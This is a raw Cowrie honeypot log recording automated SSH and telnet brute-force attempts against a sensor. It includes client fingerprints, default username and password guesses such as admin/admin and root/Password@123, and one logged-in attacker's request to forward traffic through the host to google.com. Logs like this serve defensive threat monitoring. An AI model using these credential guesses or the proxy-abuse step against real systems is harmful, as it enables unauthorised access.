{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:08.321576Z","src_ip":"31.59.44.31","session":"3491f32f98d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:08.326383Z","src_ip":"31.59.44.31","session":"3491f32f98d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":114.3015456199646,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:08.467822Z","src_ip":"152.42.224.71","session":"c01eb5696b76","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:09.206154Z","src_ip":"31.59.44.31","session":"3491f32f98d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49800,"dst_ip":"159.203.135.109","dst_port":22,"session":"e920ed2e14a0","protocol":"ssh","message":"New connection: 192.109.200.237:49800 (159.203.135.109:22) [session: e920ed2e14a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:09.292741Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":80,"src_ip":"31.59.44.31","src_port":8082,"message":"direct-tcp connection request to google.com:80 from 127.0.0.1:8082","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:09.298378Z","session":"3491f32f98d0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:09.319743Z","src_ip":"192.109.200.237","session":"e920ed2e14a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:09.376866Z","src_ip":"192.109.200.237","session":"e920ed2e14a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"google.com","dst_port":80,"ja4h":"ge11nn010000_a510e5066512_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to google.com:80: ge11nn010000_a510e5066512_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:09.428205Z","src_ip":"31.59.44.31","session":"3491f32f98d0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":80,"data":"b'GET / HTTP/1.1\\r\\nUser-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to google.com:80 with data b'GET / HTTP/1.1\\r\\nUser-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:09.432177Z","src_ip":"31.59.44.31","session":"3491f32f98d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:09.695623Z","src_ip":"192.109.200.237","session":"e920ed2e14a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:10.780258Z","src_ip":"192.109.200.237","session":"e920ed2e14a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44924,"dst_ip":"159.203.135.109","dst_port":22,"session":"53147df6d120","protocol":"ssh","message":"New connection: 192.109.200.237:44924 (159.203.135.109:22) [session: 53147df6d120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:12.710669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:12.716722Z","src_ip":"192.109.200.237","session":"53147df6d120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:12.799797Z","src_ip":"192.109.200.237","session":"53147df6d120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52514,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f35b24b823f","protocol":"telnet","message":"New connection: 152.42.224.71:52514 (10.17.0.5:23) [session: 9f35b24b823f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:13.039713Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:13.048008Z","src_ip":"192.109.200.237","session":"53147df6d120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:14.224808Z","src_ip":"192.109.200.237","session":"53147df6d120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44938,"dst_ip":"159.203.135.109","dst_port":22,"session":"3176384db2aa","protocol":"ssh","message":"New connection: 192.109.200.237:44938 (159.203.135.109:22) [session: 3176384db2aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:16.059304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:16.067583Z","src_ip":"192.109.200.237","session":"3176384db2aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:16.150410Z","src_ip":"192.109.200.237","session":"3176384db2aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:16.397336Z","src_ip":"192.109.200.237","session":"3176384db2aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.766822576522827,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:16.806390Z","src_ip":"152.42.224.71","session":"9f35b24b823f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:17.485681Z","src_ip":"192.109.200.237","session":"3176384db2aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48812,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5bec23b00b2","protocol":"telnet","message":"New connection: 152.42.224.71:48812 (10.17.0.5:23) [session: a5bec23b00b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:18.855113Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.44.31","src_port":60730,"dst_ip":"10.17.0.5","dst_port":22,"session":"cec17f8de444","protocol":"ssh","message":"New connection: 31.59.44.31:60730 (10.17.0.5:22) [session: cec17f8de444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:19.176852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:19.272078Z","src_ip":"31.59.44.31","session":"cec17f8de444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"63ae64767f334c6a74647d80edb0291e","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc,none;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,none;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc","none"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","none"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 63ae64767f334c6a74647d80edb0291e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:19.276248Z","src_ip":"31.59.44.31","session":"cec17f8de444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44946,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2546c4c0a0a","protocol":"ssh","message":"New connection: 192.109.200.237:44946 (159.203.135.109:22) [session: e2546c4c0a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:19.475290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:19.480249Z","src_ip":"192.109.200.237","session":"e2546c4c0a0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:19.562012Z","src_ip":"192.109.200.237","session":"e2546c4c0a0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:19.573341Z","src_ip":"31.59.44.31","session":"cec17f8de444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:19.807873Z","src_ip":"192.109.200.237","session":"e2546c4c0a0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:20.672634Z","src_ip":"31.59.44.31","session":"cec17f8de444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:20.892530Z","src_ip":"192.109.200.237","session":"e2546c4c0a0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":49896,"dst_ip":"159.203.135.109","dst_port":22,"session":"02819cc5a2ec","protocol":"ssh","message":"New connection: 103.122.221.179:49896 (159.203.135.109:22) [session: 02819cc5a2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:21.905508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:21.910119Z","src_ip":"103.122.221.179","session":"02819cc5a2ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:22.166388Z","src_ip":"103.122.221.179","session":"02819cc5a2ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58500,"dst_ip":"159.203.135.109","dst_port":22,"session":"70534fb0fdc4","protocol":"ssh","message":"New connection: 192.109.200.237:58500 (159.203.135.109:22) [session: 70534fb0fdc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:22.757437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:22.762071Z","src_ip":"192.109.200.237","session":"70534fb0fdc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:22.844567Z","src_ip":"192.109.200.237","session":"70534fb0fdc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lololoshka","message":"login attempt [root/lololoshka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:22.939358Z","src_ip":"103.122.221.179","session":"02819cc5a2ec","protocol":"ssh"}
